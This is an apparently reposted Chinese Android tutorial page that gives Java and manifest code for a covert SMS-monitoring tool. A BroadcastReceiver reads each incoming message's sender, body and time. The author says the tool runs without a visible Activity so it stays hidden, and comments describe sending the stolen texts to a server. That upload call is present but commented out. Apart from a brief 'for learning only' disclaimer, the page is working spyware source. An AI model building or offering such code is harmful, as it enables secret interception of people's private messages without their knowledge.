文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

android短信监听工具(示例代码)

2022-06-06 10:33

关注

在学习本实例之前,读者请先了解一下android四大组件中的“广播接收者”的基本概念和使用。

由于是“监听程序”,所以就不需要建立Activity。这样也算是一种“遮掩”吧。使用BroadcastReceiver,就能达到这“不可告人”的目的。呵呵。当然,使用服务来开发此类应用,更加合适。这里就不再深入讨论“服务”了。本实例仅供学习参考,请勿非法用途。
代码如下:
package cn.itcast.sms;

import java.sql.Date;
import java.text.SimpleDateFormat;
import java.util.HashMap;
import java.util.Map;

import cn.itcast.utils.SocketHttpRequester;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsMessage;
import android.util.Log;

public class SMSBroadcastReceiver extends BroadcastReceiver {
    //在接受者这边获取短信相关信息,将相关信息发到服务器上进行窃听
 @Override
 public void onReceive(Context context, Intent intent) {
  Object[] pduses = (Object[])intent.getExtras().get("pdus");
  for(Object pdus : pduses){
   byte[] pdusmessage = (byte[]) pdus;//没一条短信
   SmsMessage sms = SmsMessage.createFromPdu(pdusmessage);
   String mobile = sms.getOriginatingAddress();//得到电话号码
   String content = sms.getMessageBody();//得到短信的内容
   Date date = new Date(sms.getTimestampMillis());//得到发送短信具体时间
   //2009-10-12 12:21:23
   SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");//为实践设置格式
   String sendtime = format.format(date);
   Map<String, String> params = new HashMap<String, String>();
   params.put("method", "getSMS");//将与短信相关的内容全部都放到集合里
   params.put("mobile", mobile);
   params.put("content", content);
   params.put("sendtime", sendtime);
   try {//利用socket向服务器发送窃听到的内容
    //SocketHttpRequester.post("http://192.168.1.100:8080/videoweb/video/manage.do", params, "UTF-8");
   } catch (Exception e) {
    Log.e("SMSBroadcastReceiver", e.toString());
   }
  }
 }

}

注意修改Android项目文件的配置
代码如下:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package="cn.itcast.sms"
      android:versionCode="1"
      android:versionName="1.0">
    <application android:icon="@drawable/icon" android:label="@string/app_name">
  <receiver android:name=".SMSBroadcastReceiver">
   <intent-filter>
    <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
   </intent-filter>
  </receiver>

    </application>
    <uses-sdk android:minSdkVersion="8" />
<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 -->
 <!-- 访问网络的权限 -->
<uses-permission android:name="android.permission.INTERNET"/>
</manifest>

最后说一点,Android中广播的注册机制,其实有2种方式(上文中使用的是第二种方式--配置项目清单文件)。

第一,通过代码的方式注册;


当实现了广播接收器,还要设置广播接收器接收广播信息的类型,这里是信息:android.provider.Telephony.SMS_RECEIVED

我们就可以把广播接收器注册到系统里面,可以让系统知道我们有个广播接收器。这里有两种,一种是代码动态注册:
代码如下:
//生成广播处理 
smsBroadCastReceiver = new SmsBroadCastReceiver(); 
//实例化过滤器并设置要过滤的广播 
IntentFilter intentFilter = new IntentFilter(); 
intentFilter.addAction(SMS_ACTION); 
//注册广播 
BroadCastReceiverActivity.this.registerReceiver(smsBroadCastReceiver, intentFilter); 

您可能感兴趣的文章:详解Android短信的发送和广播接收实现短信的监听Android实现双模(CDMA/GSM)手机短信监听的方法Android中监听短信的两种方法Android短信接收监听、自动回复短信操作例子Android监听手机短信的示例代码


阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-移动开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯